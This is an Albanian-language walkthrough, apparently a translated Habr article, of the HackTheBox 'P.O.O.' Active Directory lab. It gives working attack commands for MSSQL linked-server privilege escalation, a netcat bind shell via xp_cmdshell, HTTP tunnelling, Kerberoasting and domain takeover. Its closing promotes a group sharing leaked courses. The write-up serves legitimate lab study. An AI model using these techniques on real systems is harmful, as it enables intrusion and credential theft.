
Në këtë artikull do të shqyrtojmë kalimin e jo thjesht të një makine, por të një mini-laboratorie nga platforma .
Siç thuhet në përshkrim, P.O.O. është menduar për të vlerësuar aftësitë në të gjitha fazat e sulmeve në një mjedis të vogël Active Directory. Qëllimi është të kompromentojmë hostin e disponueshëm, të rrisim privilegjet dhe, në fund, të kompromentojmë të gjithë domainin, duke mbledhur gjithashtu 5 flamuj.
Lidhja me laboratorin realizohet përmes VPN. Këshillohet të mos lidhen nga kompjuteri i punës ose nga hosti ku keni të dhëna të rëndësishme, pasi hyni në një rrjet privat me njerëz që kanë njohuri në fushën e sigurimeve 😊
Informacion organizativ
Që të keni mundësi të mësoni për artikuj të rinj, softuer dhe informacion tjetër, kam krijuar dhe në fushën e Sigurisë Informatike dhe Kompjuterike. Gjithashtu, kërkesat, pyetjet, propozimet dhe rekomandimet tuaja .
Të gjitha informacionet ofrohen vetëm për qëllime edukative. Autori i këtij dokumenti nuk mban asnjë përgjegjësi për dëmin e shkaktuar ndonjëkujt nga përdorimi i njohurive dhe metodave të marra nga studimi i këtij dokumenti.
Intro
Ky endgame përbëhet nga dy makina dhe përmban 5 flamuj.

Jepet gjithashtu një përshkrim dhe adresë e hostit të disponueshëm.

Le të fillojmë!
Recon flag
Kjo makinë ka adresën IP 10.13.38.11, të cilën e shtoj në /etc/hosts.
10.13.38.11 poo.htb
Së pari, skanojmë portet e hapura. Duke qenë se skanimi i të gjitha porteve me nmap zgjat, fillimisht do ta bëj këtë me masscan. Ne skanojmë të gjitha portet TCP dhe UDP nga interfaci tun0 me shpejtësi 500 paketa në sekundë.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500 
Tani për të marrë më shumë informacion në lidhje me shërbimet që punojnë në porte, do të fillojmë skanimin me opsionin -A.
nmap -A poo.htb -p80,1433 
Kështu, kemi shërbime IIS dhe MSSQL. Në këtë proces, zbulojmë emrin e vërtetë DNS të domenit dhe kompjuterit. Në serverin e uebit na pret faqja kryesore e IIS.

Le të shfletojmë direktorët. Unë do ta përdor gobuster për këtë. Në parametrat përfshij numrin e përdoruesve 128 (-t), URL-në (-u), fjalorin (-w) dhe shtrirjet që na interesojnë (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html 
Në këtë mënyrë kemi autentifikim HTTP për direktorën /admin, si dhe një skedare të disponueshëm për shërbimin e ruajtjes .DS_Store. .DS_Store janë skedarë ku ruhen parametrat e përdoruesit për dosjen, të tillë si lista e skedarëve, vendosja e ikonave, dhe imazhi i sfondit të zgjedhur. Një skedar i tillë mund të përfundojë në direktorën e serverit të uebit të zhvilluesve të uebit. Kështu, ne mund të marrim informacion në lidhje me përmbajtjen e katalogut. Për këtë mund të përdorim .
python3 dsstore_crawler.py -i http://poo.htb/ 
Ne pohojme përmbajtjen e katalogut. Më interesante këtu është katalogu /dev, nga i cili mund të shohim burimet dhe skedarët e db në dy degë. Por mund të shohim gjashtë karakteret e para të emrave të skedarëve dhe direktoreshave, nëse shërbimi është i prekshëm nga IIS ShortName. Të kontrollojmë nëse ekziston kjo prekshmëri duke përdorur .

Dhe gjejmë një skedar tekstual që fillon me "poo_co". Pa ditur se çfarë të bëj më pas, thjesht zgjodha nga fjalori i drejtorive të gjitha fjalët që fillojnë me "co".
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txtDhe do t'i testojmë ata me wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404 
Dhe gjejmë një fjalë të përshtatshme! Shikojmë këtë skedar, ruajmë kredencialet (duke i përngjallur parametrit DBNAME, ato janë nga MSSQL).

Dorëzojmë flamurin, dhe ne ecim përpara me 20%.

Huh flag
Na lidhim me MSSQL, unë përdor DBeaver.

Nuk gjejmë asgjë interesante në këtë bazë, le të krijojmë një Redaktor SQL dhe të kontrollojmë se cilët përdorues ekzistojnë.
SELECT name FROM master..syslogins; 
Kemi dy përdorues. Le të kontrollojmë privilegjet tona.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin'); 
Pra kështu, nuk ka asnjë privilegj. Le të shikojmë serverët e lidhur, për këtë metodë kam shkruar më shumë. .
SELECT * FROM master..sysservers; 
Kështu gjejmë një SQL Server tjetër. Le të kontrollojmë ekzekutimin e komandave në këtë server duke përdorur openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version'); 
Madje, ne mund ta organizojmë një strukturë pyetjesh.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');Çështja është se kur ekzekutojmë një kërkesë në serverin e lidhur, kërkesa ekzekutohet në kontekstin e një përdoruesi tjetër! Le të shikojmë në kontekstin e cilit përdorues po punojmë në serverin e lidhur.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name'); 
Dhe tani le të shohim në cilin kontekst ekzekutohen kërkesat nga serveri i lidhur në tonin!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');'); 
Kështu, kjo është konteksti DBO, i cili duhet të ketë të gjitha privilegjet. Le të kontrollojmë privilegjet në rastin e një kërkese nga serveri i lidhur.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')'); 
Siç mund të vëreni, kemi të gjitha privilegjet! Le ta krijojmë adminin tonë kështu. Por nuk na lejojnë përmes openquery, le ta bëjmë këtë përmes EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";Dhe tani lidhemi me kredencialet e përdoruesit të ri, duke vëzhguar bazën e të dhënave të re flag.

Dorëzojmë këtë flamur dhe shkojmë më tej.

BackTrack flag
Do të fitojmë shell me ndihmën e MSSQL, unë përdor mssqlclient nga paketa impacket.
mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC 
Na duhet të gjejmë fjalëkalimet, dhe e para që kemi hasur është faqja. Prandaj, na nevojitet konfiguroi i serverit web (nuk po arrijmë të hedhim një shell të përshtatshëm, duket se firewall-i është aktiv).

Por, qasja është e ndaluar. Megjithatë, mund të lexojmë skedarin nga MSSQL, duhet vetëm të dimë se cilat gjuhë programuese janë të konfiguruara. Dhe në direktorinë MSSQL zbulojmë se ka Python.

Atëherë të lexosh skedarin web.config nuk ka asnjë problem.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())" 
Me të dhënat e gjetura, do të hyjmë në /admin dhe do të marrim flamurin.


Foothold flag
Në të vërtetë, ka disa inconvenienca nga përdorimi i firewall-it, por duke shqyrtuar cilësimet e rrjetit, vërejmë se po përdoret gjithashtu një prokol IPv6!

Do ta shtojmë këtë adresë në /etc/hosts.
dead:babe::1001 poo6.htb
Le të skanojmë përsëri hostin, por tashmë përmes protokollit IPv6.

Dhe shërbimi WinRM është i aksesueshëm përmes IPv6. Do të lidhemi me të dhënat e gjetura.

Në desktop ka një flamur, do ta dorëzojmë atë.

P00ned flag
Pasi bëmë zbulimin në host me nuk gjetëm asgjë të veçantë. Prandaj, u mor vendimi për të kërkuar përsëri të dhënat e qasjes (për këtë temë kam shkruar gjithashtu ). Por nuk arrij të marr të gjitha SPN nga sistemi nëpërmjet WinRM.
setspn.exe -T intranet.poo -Q */* 
Le të ekzekutojmë komandën përmes MSSQL.

Me këtë metodë, ne marrim SPN të përdoruesve p00_hr dhe p00_adm, që do të thotë se ata janë të ndjeshëm ndaj një sulmi të tillë si Kerberoasting. Në përmbledhje, ne mund të marrim hash-ët e fjalëkalimeve të tyre.
Së pari, ne duhet të marrim një shell të qëndrueshëm me emrin e përdoruesit MSSQL. Por, pasi jemi të kufizuar në qasje, ne kemi lidhje me hostin vetëm përmes porteve 80 dhe 1433. Mirëpo, ka një mundësi të tunelimit të trafikut përmes portit 80! Për këtë, do të përdorim . Do të ngarkohem skedarin tunnel.aspx në drejtorinë e shtëpisë së serverit web — C:inetpubwwwroot.

Por kur përpiqemi të qasemi në të, marrim një gabim 404. Kjo do të thotë se skedarët *.aspx nuk ekzekutohen. Për të bërë që skedarët me këtë zgjerim të fillojnë të ekzekutohen, do të instalojmë ASP.NET 4.5 në këtë mënyrë.
dism /online /enable-feature /all /featurename:IIS-ASPNET45 
![]()
Dhe tani, kur qasem në tunnel.aspx, marrim përgjigjen se gjithçka është gati për punë.
![]()
Le të nisëm pjesën klient të aplikacionit, e cila do të merret me retransmetimin e trafikut. Ne do të drejtojmë të gjithë trafikun nga porta 5432 në server.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx 
Dhe përdorim proxychains për të dërguar trafikun e çdo aplikacioni përmes proxy-t tonë. Do ta shtojmë këtë proxy në skedarin e konfigurimit /etc/proxychains.conf.

Tani do ngarkojmë në server programin , me ndihmën e të cilit do krijojmë një shell bind stabil, dhe skriptin , me ndihmën e të cilit do realizojmë sulmin Kerberoasting.

Tani, përmes MSSQL, fillojmë përgjuese.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321 
Dhe lidhemi përmes proxy-t tonë.
proxychains rlwrap nc poo.htb 4321 
Dhe le të marrim hash-at.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt 
Tani duhet të kalojmë përmes këtyre hash-eve. Duke qenë se në fjalorin rockyou nuk kishte këto fjalëkalime, përdora TË GJITHA fjalorit e fjalëkalimeve të ofruara në Seclists. Për përgjuese përdorim hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --forceDhe gjejmë të dyja fjalëkalimet, të parin në fjalorin dutch_passwordlist.txt, dhe të dytin në Keyboard-Combinations.txt.


Dhe kështu kemi tre përdorues, tani shkojmë në kontrolluesin e domain-it. Fillimisht, mësojmë adresën e tij.

Shkëlqyer, ne mësuam adresën IP të kontrolluesit të domainit. Le të zbulojmë të gjithë përdoruesit e domainit, si dhe kush prej tyre është administrator. Do të ngarkojmë skriptin për të marrë informacionin PowerView.ps1. Pastaj do të lidhemi me evil-winrm, duke specificuar në parametrin -s direktorinë me skriptin. Më pas, thjesht do të ngarkojmë skriptin PowerView.

Tani kemi qasje në të gjitha funksionet e tij. Përdoruesi p00_adm duket se është me privilegje, prandaj do të punojmë në kontekstin e tij. Do të krijojmë një objekt PSCredential për këtë përdorues.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$CpassTani të gjitha komandat e Powershell, ku do të specifikojmë Creds, do të kryhen në emër të p00_adm. Le të nxjerrim një listë të përdoruesve dhe atributin AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount 
Dhe kështu, përdoruesi ynë në të vërtetë është me privilegje. Le të shohim në cilat grupe është anëtar.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds 
Kemi përfundimisht të sigurohemi se përdoruesi është administrator i domenit. Kjo i jep atij të drejtën e hyrjes në distancë në kontrollorin e domenit. Le ta provojmë të hyjmë përmes WinRM, duke përdorur tunelin tonë. Më shqetësojnë gabimet që jep reGeorg kur përdorim evil-winrm.

Atëherë le të përdorim një tjetër, më të thjeshtë, për lidhjen me WinRM. Do të hapim dhe modifikojmë parametrat për lidhje.

Le të provojmë të lidhemi, dhe jemi në sistem.

Por nuk ka flamur. Atëherë le të shikojmë përdoruesit dhe të kontrollojmë tavolinat.

Te mr3ks gjejmë flamurin dhe laboratori kalon me 100%.

Kaq është. Si një feedback, ju lutem komentoni – a keni mësuar diçka të re nga ky artikull dhe a ishte e dobishme për ju.
Mund të na bashkoheni në . Aty do të gjeni materiale interesante, kurse të rrjedhura, si dhe softuer. Le të krijojmë një komunitet, ku do të jenë njerëz që kuptojnë shumë fusha të IT-së, kështu që gjithmonë mund të ndihmojmë njëri-tjetrin në çdo çështje IT dhe sigurinë e informacionit.
Burimi: habr.com
